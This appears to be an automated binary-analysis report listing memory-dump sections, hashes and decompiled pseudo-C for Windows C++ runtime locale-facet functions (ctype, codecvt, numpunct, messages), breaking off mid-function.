Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowmessagesstd::locale::_
String ID:
API String ID: 3236044146-0
Opcode ID: d2d58c6aeb13faa067fe26c1be51f9ef32460bd16743110b41ca63672e256ffc
Instruction ID: d96ceb4766b42ed914246d7595f70fc28d6e3a49ccf2bf966d864b1d749c5f15
Opcode Fuzzy Hash: d2d58c6aeb13faa067fe26c1be51f9ef32460bd16743110b41ca63672e256ffc
Instruction Fuzzy Hash: FC1102369006199BCF05EBA4D946FEEB3B4BF44310F56000DF42167292DF709E05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC9403, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC940A
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9414

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9434
ctype.LIBCPMT ref: 00AC944E
std::_Facet_Register.LIBCPMT ref: 00AC9465
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9485
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC94A3

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowctypestd::locale::_
String ID:
API String ID: 2696520298-0
Opcode ID: be609dae4ebdcd10cc0e1bd2126f88e6185d6e23d15b4b9d7acf71bb837323f6
Instruction ID: e2ba33ee4fe1686a8e2a7e14f67f1d933c783211612de61e500a6b6e8a752118
Opcode Fuzzy Hash: be609dae4ebdcd10cc0e1bd2126f88e6185d6e23d15b4b9d7acf71bb837323f6
Instruction Fuzzy Hash: 8A11A3769005198BCF04EBA4CA55FEE73B5AF84310F56440DF421A7292DF749E01C791

Uniqueness

Uniqueness Score: -1.00%

Function 00AC35CB, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC35D2
std::_Lockit::_Lockit.LIBCPMT ref: 00AC35DC

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC35FC
ctype.LIBCPMT ref: 00AC3616
std::_Facet_Register.LIBCPMT ref: 00AC362D
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC364D
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC366B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowctypestd::locale::_
String ID:
API String ID: 2696520298-0
Opcode ID: b2ed6b5dd1790b2c6185d2007c05ae43516973f711f06e59a93528364378d152
Instruction ID: 69ae29572ed561a63a47b013ed47e5ffcfa185c5a3132cf73f90299ed890a70e
Opcode Fuzzy Hash: b2ed6b5dd1790b2c6185d2007c05ae43516973f711f06e59a93528364378d152
Instruction Fuzzy Hash: AA119E77900519ABCF05EBA4C946FEEB7B5AF94310F16440DF4216B292DF749A01C791

Uniqueness

Uniqueness Score: -1.00%

Function 00AC3525, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00AC3525(void* __edx, void* __eflags, intOrPtr _a8) {
				signed int _v4;
				intOrPtr _v12;
				void* _v16;
				char _v20;
				intOrPtr* _v28;
				char _v32;
				char _v44;
				void* __ebx;
				void* _t78;
				void* _t89;
				void* _t100;
				void* _t111;
				void* _t122;
				void* _t155;
				intOrPtr* _t156;
				intOrPtr* _t192;
				void* _t209;
				void* _t210;
				intOrPtr* _t211;
				intOrPtr* _t212;
				intOrPtr* _t213;
				intOrPtr* _t214;
				intOrPtr* _t215;
				void* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				intOrPtr* _t221;
				void* _t222;

				_t209 = __edx;
				_push(0x14);
				E00ADAEE9();
				E00AC2F94( &_v20, 0);
				_t218 =  *0xb45b08; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t218;
				_t78 = E00AB1310(_t155, 0xb45af4, _t210, _t218);
				_t160 = _a8;
				_t211 = E00AC3FEF(_a8, _t78);
				if(_t211 != 0) {
					L5:
					E00AC2FED( &_v20);
					E00ADAEB2();
					return _t211;
				} else {
					if(_t218 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E00AC3DD6(_t160, _t209, _t218) - 0xffffffff;
						if(__eflags == 0) {
							E00AC38B4( &_v32);
							E00AF1677( &_v32, 0xb3dcf8);
							asm("int3");
							_push(0x14);
							E00ADAEE9();
							E00AC2F94( &_v20, 0);
							_t219 =  *0xb45af8; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t219;
							_t89 = E00AB1310(_t155, 0xb45b24, _t211, _t219);
							_t167 = _a8;
							_t212 = E00AC3FEF(_a8, _t89);
							__eflags = _t212;
							if(_t212 != 0) {
								L12:
								E00AC2FED( &_v20);
								E00ADAEB2();
								return _t212;
							} else {
								__eflags = _t219;
								if(_t219 == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E00AC3E3E(_t167, _t209) - 0xffffffff;
									if(__eflags == 0) {
										E00AC38B4( &_v32);
										E00AF1677( &_v32, 0xb3dcf8);
										asm("int3");
										_push(0x14);
										E00ADAEE9();
										E00AC2F94( &_v20, 0);
										_t220 =  *0xb45afc; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t220;
										_t100 = E00AB1310(_t155, 0xb45ae8, _t212, _t220);
										_t174 = _a8;
										_t213 = E00AC3FEF(_a8, _t100);
										__eflags = _t213;
										if(_t213 != 0) {
											L19:
											E00AC2FED( &_v20);
											E00ADAEB2();
											return _t213;
										} else {
											__eflags = _t220;
											if(_t220 == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E00AC3EA4(_t174, _t209, _t220) - 0xffffffff;
												if(__eflags == 0) {
													E00AC38B4( &_v32);
													E00AF1677( &_v32, 0xb3dcf8);
													asm("int3");
													_push(0x14);
													E00ADAEE9();
													E00AC2F94( &_v20, 0);
													_t221 =  *0xb45b00; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t221;
													_t111 = E00AB1310(_t155, 0xb45aec, _t213, _t221);
													_t181 = _a8;
													_t214 = E00AC3FEF(_a8, _t111);
													__eflags = _t214;
													if(_t214 != 0) {
														L26:
														E00AC2FED( &_v20);
														E00ADAEB2();
														return _t214;
													} else {
														__eflags = _t221;
														if(_t221 == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E00AC3F0C(_t181, _t209, _t221) - 0xffffffff;
															if(__eflags == 0) {
																E00AC38B4( &_v32);
																E00AF1677( &_v32, 0xb3dcf8);
																asm("int3");
																_push(0x14);
																E00ADAEE9();
																E00AC2F94( &_v20, 0);
																_t222 =  *0xb45b04; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t222;
																_t122 = E00AB1310(_t155, 0xb45af0, _t214, _t222);
																_t188 = _a8;
																_t215 = E00AC3FEF(_a8, _t122);
																__eflags = _t215;
																if(_t215 != 0) {
																	L33:
																	E00AC2FED( &_v20);
																	E00ADAEB2();
																	return _t215;
																} else {
																	__eflags = _t222;
																	if(_t222 == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E00AC3F74(_t188, _t209, _t222) - 0xffffffff;
																		if(__eflags == 0) {
																			_t192 =  &_v32;
																			E00AC38B4(_t192);
																			E00AF1677( &_v32, 0xb3dcf8);
																			asm("int3");
																			_push(_t155);
																			_t156 = _t192;
																			_push(_t222);
																			_push(_t215);
																			_v28 = _t156;
																			 *((intOrPtr*)(_t156 + 4)) = _v12;
																			 *_t156 = 0xb156bc;
																			E00AC8380(_t192, _t215, __eflags,  &_v44);
																			asm("movsd");
																			asm("movsd");
																			asm("movsd");
																			asm("movsd");
																			return _t156;
																		} else {
																			_t215 = _v16;
																			_v16 = _t215;
																			_v4 = 1;
																			E00AC70E1(__eflags, _t215);
																			 *0xb1531c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t215 + 4))))();
																			 *0xb45b04 = _t215;
																			goto L33;
																		}
																	} else {
																		_t215 = _t222;
																		goto L33;
																	}
																}
															} else {
																_t214 = _v16;
																_v16 = _t214;
																_v4 = 1;
																E00AC70E1(__eflags, _t214);
																 *0xb1531c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t214 + 4))))();
																 *0xb45b00 = _t214;
																goto L26;
															}
														} else {
															_t214 = _t221;
															goto L26;
														}
													}
												} else {
													_t213 = _v16;
													_v16 = _t213;
													_v4 = 1;
													E00AC70E1(__eflags, _t213);
													 *0xb1531c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t213 + 4))))();
													 *0xb45afc = _t213;
													goto L19;
												}
											} else {
												_t213 = _t220;
												goto L19;
											}
										}
									} else {
										_t212 = _v16;
										_v16 = _t212;
										_v4 = 1;
										E00AC70E1(__eflags, _t212);
										 *0xb1531c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t212 + 4))))();
										 *0xb45af8 = _t212;
										goto L12;
									}
								} else {
									_t212 = _t219;
									goto L12;
								}
							}
						} else {
							_t211 = _v16;
							_v16 = _t211;
							_v4 = 1;
							E00AC70E1(__eflags, _t211);
							 *0xb1531c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t211 + 4))))();
							 *0xb45b08 = _t211;
							goto L5;
						}
					} else {
						_t211 = _t218;
						goto L5;
					}
				}
			}

0x00ac3525
0x00ac3525
0x00ac352c
0x00ac3536
0x00ac353b
0x00ac3546
0x00ac354a
0x00ac354d
0x00ac3552
0x00ac355b
0x00ac355f
0x00ac35a4
0x00ac35a7
0x00ac35ae
0x00ac35b3
0x00ac3561
0x00ac3563
0x00ac3569
0x00ac356f
0x00ac3577
0x00ac357a
0x00ac35b7
0x00ac35c5
0x00ac35ca
0x00ac35cb
0x00ac35d2
0x00ac35dc
0x00ac35e1
0x00ac35ec
0x00ac35f0
0x00ac35f3
0x00ac35f8
0x00ac3601
0x00ac3603
0x00ac3605
0x00ac364a
0x00ac364d
0x00ac3654
0x00ac3659
0x00ac3607
0x00ac3607
0x00ac3609
0x00ac360f
0x00ac3615
0x00ac361d
0x00ac3620
0x00ac365d
0x00ac366b
0x00ac3670
0x00ac3671
0x00ac3678
0x00ac3682
0x00ac3687
0x00ac3692
0x00ac3696
0x00ac3699
0x00ac369e
0x00ac36a7
0x00ac36a9
0x00ac36ab
0x00ac36f0
0x00ac36f3
0x00ac36fa
0x00ac36ff
0x00ac36ad
0x00ac36ad
0x00ac36af
0x00ac36b5
0x00ac36bb
0x00ac36c3
0x00ac36c6
0x00ac3703
0x00ac3711
0x00ac3716
0x00ac3717
0x00ac371e
0x00ac3728
0x00ac372d
0x00ac3738
0x00ac373c
0x00ac373f
0x00ac3744
0x00ac374d
0x00ac374f
0x00ac3751
0x00ac3796
0x00ac3799
0x00ac37a0
0x00ac37a5
0x00ac3753
0x00ac3753
0x00ac3755
0x00ac375b
0x00ac3761
0x00ac3769
0x00ac376c
0x00ac37a9
0x00ac37b7
0x00ac37bc
0x00ac37bd
0x00ac37c4
0x00ac37ce
0x00ac37d3
0x00ac37de
0x00ac37e2
0x00ac37e5
0x00ac37ea
0x00ac37f3
0x00ac37f5
0x00ac37f7
0x00ac383c
0x00ac383f
0x00ac3846
0x00ac384b
0x00ac37f9
0x00ac37f9
0x00ac37fb
0x00ac3801
0x00ac3807
0x00ac380f
0x00ac3812
0x00ac384c
0x00ac384f
0x00ac385d
0x00ac3862
0x00ac386c
0x00ac386d
0x00ac386f
0x00ac3870
0x00ac3871
0x00ac3874
0x00ac387b
0x00ac3881
0x00ac388e
0x00ac388f
0x00ac3890
0x00ac3891
0x00ac3896
0x00ac3814
0x00ac3814
0x00ac3817
0x00ac381b
0x00ac381f
0x00ac382c
0x00ac3834
0x00ac3836
0x00000000
0x00ac3836
0x00ac37fd
0x00ac37fd
0x00000000
0x00ac37fd
0x00ac37fb
0x00ac376e
0x00ac376e
0x00ac3771
0x00ac3775
0x00ac3779
0x00ac3786
0x00ac378e
0x00ac3790
0x00000000
0x00ac3790
0x00ac3757
0x00ac3757
0x00000000
0x00ac3757
0x00ac3755
0x00ac36c8
0x00ac36c8
0x00ac36cb
0x00ac36cf
0x00ac36d3
0x00ac36e0
0x00ac36e8
0x00ac36ea
0x00000000
0x00ac36ea
0x00ac36b1
0x00ac36b1
0x00000000
0x00ac36b1
0x00ac36af
0x00ac3622
0x00ac3622
0x00ac3625
0x00ac3629
0x00ac362d
0x00ac363a
0x00ac3642
0x00ac3644
0x00000000
0x00ac3644
0x00ac360b
0x00ac360b
0x00000000
0x00ac360b
0x00ac3609
0x00ac357c
0x00ac357c
0x00ac357f
0x00ac3583
0x00ac3587
0x00ac3594
0x00ac359c
0x00ac359e
0x00000000
0x00ac359e
0x00ac3565
0x00ac3565
0x00000000
0x00ac3565
0x00ac3563

APIs

__EH_prolog3.LIBCMT ref: 00AC352C
std::_Lockit::_Lockit.LIBCPMT ref: 00AC3536

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC3556
codecvt.LIBCPMT ref: 00AC3570
std::_Facet_Register.LIBCPMT ref: 00AC3587
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC35A7
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC35C5

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowcodecvtstd::locale::_
String ID:
API String ID: 1243920060-0
Opcode ID: 0b287d477242ea89453365b2628985fb6c4cc57612b1146e9c159a125a1d7ec8
Instruction ID: 92358ea6ebdf386d2bae973c2194937e8f3497207336dd7f33de959c45b1a2a2
Opcode Fuzzy Hash: 0b287d477242ea89453365b2628985fb6c4cc57612b1146e9c159a125a1d7ec8
Instruction Fuzzy Hash: 6611CE769005188BCF01EBA4C945FEDB3B4AF44310F16440DF4116B392DF709B00CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC954F, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC9556
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9560

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9580
messages.LIBCPMT ref: 00AC959A
std::_Facet_Register.LIBCPMT ref: 00AC95B1
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC95D1
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC95EF

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowmessagesstd::locale::_
String ID:
API String ID: 3236044146-0
Opcode ID: 9baf0d1313d06353a5f9e25b7d59405fb97daf3cf389b6e50e8f0c6b4735d7e4
Instruction ID: 925d7be1e3560e0ad7c767edfe211384c3f579654022d8658b3868f52b0b6f68
Opcode Fuzzy Hash: 9baf0d1313d06353a5f9e25b7d59405fb97daf3cf389b6e50e8f0c6b4735d7e4
Instruction Fuzzy Hash: D111A376900519CBCF15EBA4C946FEEB3B5AF44310F16440DF9116B292DF749E05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AC37BD, Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC37C4
std::_Lockit::_Lockit.LIBCPMT ref: 00AC37CE

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC37EE
numpunct.LIBCPMT ref: 00AC3808
std::_Facet_Register.LIBCPMT ref: 00AC381F
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC383F
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC385D

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrownumpunctstd::locale::_
String ID:
API String ID: 1681632520-0
Opcode ID: fc477ce945448166d6d45817c015e9a4ed6fac439b4e1697aa29eb27d49eeec1
Instruction ID: addc20a16942abff8578669f7a65b1436094d3421cfe340458b717e222de9e90
Opcode Fuzzy Hash: fc477ce945448166d6d45817c015e9a4ed6fac439b4e1697aa29eb27d49eeec1
Instruction Fuzzy Hash: AB11CE369005188BCF00EBA4C945FEDB7B4AF44310F16440DF8126B292DF709F00C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AC988D, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00AC988D(void* __edx, void* __eflags, intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				char _v32;
				intOrPtr _v52;
				void* _t203;
				void* _t214;
				void* _t225;
				void* _t236;
				void* _t247;
				void* _t258;
				void* _t269;
				void* _t280;
				void* _t291;
				void* _t302;
				void* _t313;
				void* _t324;
				void* _t335;
				void* _t346;
				void* _t414;
				short* _t512;
				void* _t555;
				void* _t556;
				signed int _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t564;
				signed int _t565;
				signed int _t566;
				signed int _t567;
				signed int _t568;
				signed int _t569;
				signed int _t570;
				signed int _t571;
				signed int _t572;
				signed int _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t577;
				signed int _t578;
				signed int _t579;
				signed int _t580;
				signed int _t581;
				signed int _t582;
				signed int _t583;
				signed int _t584;
				short* _t585;

				_t555 = __edx;
				_push(0x14);
				E00ADAEE9();
				E00AC2F94( &_v20, 0);
				_t571 =  *0xb45c90; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t571;
				_t203 = E00AB1310(_t414, 0xb45c2c, _t556, _t571);
				_t417 = _a8;
				_t557 = E00AC3FEF(_a8, _t203);
				if(_t557 != 0) {
					L5:
					E00AC2FED( &_v20);
					E00ADAEB2();
					return _t557;
				} else {
					if(_t571 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E00ACB486(_t417, _t555, _t571) - 0xffffffff;
						if(__eflags == 0) {
							E00AC38B4( &_v32);
							E00AF1677( &_v32, 0xb3dcf8);
							asm("int3");
							_push(0x14);
							E00ADAEE9();
							E00AC2F94( &_v20, 0);
							_t572 =  *0xb45c8c; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t572;
							_t214 = E00AB1310(_t414, 0xb45c28, _t557, _t572);
							_t424 = _a8;
							_t558 = E00AC3FEF(_a8, _t214);
							__eflags = _t558;
							if(_t558 != 0) {
								L12:
								E00AC2FED( &_v20);
								E00ADAEB2();
								return _t558;
							} else {
								__eflags = _t572;
								if(_t572 == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E00ACB50A(_t424, _t555, _t572) - 0xffffffff;
									if(__eflags == 0) {
										E00AC38B4( &_v32);
										E00AF1677( &_v32, 0xb3dcf8);
										asm("int3");
										_push(0x14);
										E00ADAEE9();
										E00AC2F94( &_v20, 0);
										_t573 =  *0xb45c5c; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t573;
										_t225 = E00AB1310(_t414, 0xb45c04, _t558, _t573);
										_t431 = _a8;
										_t559 = E00AC3FEF(_a8, _t225);
										__eflags = _t559;
										if(_t559 != 0) {
											L19:
											E00AC2FED( &_v20);
											E00ADAEB2();
											return _t559;
										} else {
											__eflags = _t573;
											if(_t573 == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E00ACB58F(_t431, _t555, _t573) - 0xffffffff;
												if(__eflags == 0) {
													E00AC38B4( &_v32);
													E00AF1677( &_v32, 0xb3dcf8);
													asm("int3");
													_push(0x14);
													E00ADAEE9();
													E00AC2F94( &_v20, 0);
													_t574 =  *0xb45c58; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t574;
													_t236 = E00AB1310(_t414, 0xb45c00, _t559, _t574);
													_t438 = _a8;
													_t560 = E00AC3FEF(_a8, _t236);
													__eflags = _t560;
													if(_t560 != 0) {
														L26:
														E00AC2FED( &_v20);
														E00ADAEB2();
														return _t560;
													} else {
														__eflags = _t574;
														if(_t574 == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E00ACB613(_t438, _t555, _t574) - 0xffffffff;
															if(__eflags == 0) {
																E00AC38B4( &_v32);
																E00AF1677( &_v32, 0xb3dcf8);
																asm("int3");
																_push(0x14);
																E00ADAEE9();
																E00AC2F94( &_v20, 0);
																_t575 =  *0xb45c70; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t575;
																_t247 = E00AB1310(_t414, 0xb45c0c, _t560, _t575);
																_t445 = _a8;
																_t561 = E00AC3FEF(_a8, _t247);
																__eflags = _t561;
																if(_t561 != 0) {
																	L33:
																	E00AC2FED( &_v20);
																	E00ADAEB2();
																	return _t561;
																} else {
																	__eflags = _t575;
																	if(_t575 == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E00ACB698(_t445, _t555, _t575) - 0xffffffff;
																		if(__eflags == 0) {
																			E00AC38B4( &_v32);
																			E00AF1677( &_v32, 0xb3dcf8);
																			asm("int3");
																			_push(0x14);
																			E00ADAEE9();
																			E00AC2F94( &_v20, 0);
																			_t576 =  *0xb45c3c; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t576;
																			_t258 = E00AB1310(_t414, 0xb45be4, _t561, _t576);
																			_t452 = _a8;
																			_t562 = E00AC3FEF(_a8, _t258);
																			__eflags = _t562;
																			if(_t562 != 0) {
																				L40:
																				E00AC2FED( &_v20);
																				E00ADAEB2();
																				return _t562;
																			} else {
																				__eflags = _t576;
																				if(_t576 == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E00ACB700(_t452, _t555, _t576) - 0xffffffff;
																					if(__eflags == 0) {
																						E00AC38B4( &_v32);
																						E00AF1677( &_v32, 0xb3dcf8);
																						asm("int3");
																						_push(0x14);
																						E00ADAEE9();
																						E00AC2F94( &_v20, 0);
																						_t577 =  *0xb45c74; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t577;
																						_t269 = E00AB1310(_t414, 0xb45c10, _t562, _t577);
																						_t459 = _a8;
																						_t563 = E00AC3FEF(_a8, _t269);
																						__eflags = _t563;
																						if(_t563 != 0) {
																							L47:
																							E00AC2FED( &_v20);
																							E00ADAEB2();
																							return _t563;
																						} else {
																							__eflags = _t577;
																							if(_t577 == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E00ACB768(_t459, _t555, _t577) - 0xffffffff;
																								if(__eflags == 0) {
																									E00AC38B4( &_v32);
																									E00AF1677( &_v32, 0xb3dcf8);
																									asm("int3");
																									_push(0x14);
																									E00ADAEE9();
																									E00AC2F94( &_v20, 0);
																									_t578 =  *0xb45c40; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t578;
																									_t280 = E00AB1310(_t414, 0xb45be8, _t563, _t578);
																									_t466 = _a8;
																									_t564 = E00AC3FEF(_a8, _t280);
																									__eflags = _t564;
																									if(_t564 != 0) {
																										L54:
																										E00AC2FED( &_v20);
																										E00ADAEB2();
																										return _t564;
																									} else {
																										__eflags = _t578;
																										if(_t578 == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E00ACB7D0(_t466, _t555, _t578) - 0xffffffff;
																											if(__eflags == 0) {
																												E00AC38B4( &_v32);
																												E00AF1677( &_v32, 0xb3dcf8);
																												asm("int3");
																												_push(0x14);
																												E00ADAEE9();
																												E00AC2F94( &_v20, 0);
																												_t579 =  *0xb45c78; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t579;
																												_t291 = E00AB1310(_t414, 0xb45c14, _t564, _t579);
																												_t473 = _a8;
																												_t565 = E00AC3FEF(_a8, _t291);
																												__eflags = _t565;
																												if(_t565 != 0) {
																													L61:
																													E00AC2FED( &_v20);
																													E00ADAEB2();
																													return _t565;
																												} else {
																													__eflags = _t579;
																													if(_t579 == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E00ACB838(_t473, _t555, _t579) - 0xffffffff;
																														if(__eflags == 0) {
																															E00AC38B4( &_v32);
																															E00AF1677( &_v32, 0xb3dcf8);
																															asm("int3");
																															_push(0x14);
																															E00ADAEE9();
																															E00AC2F94( &_v20, 0);
																															_t580 =  *0xb45c44; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t580;
																															_t302 = E00AB1310(_t414, 0xb45bec, _t565, _t580);
																															_t480 = _a8;
																															_t566 = E00AC3FEF(_a8, _t302);
																															__eflags = _t566;
																															if(_t566 != 0) {
																																L68:
																																E00AC2FED( &_v20);
																																E00ADAEB2();
																																return _t566;
																															} else {
																																__eflags = _t580;
																																if(_t580 == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E00ACB8B3(_t480, _t555, _t580) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E00AC38B4( &_v32);
																																		E00AF1677( &_v32, 0xb3dcf8);
																																		asm("int3");
																																		_push(0x14);
																																		E00ADAEE9();
																																		E00AC2F94( &_v20, 0);
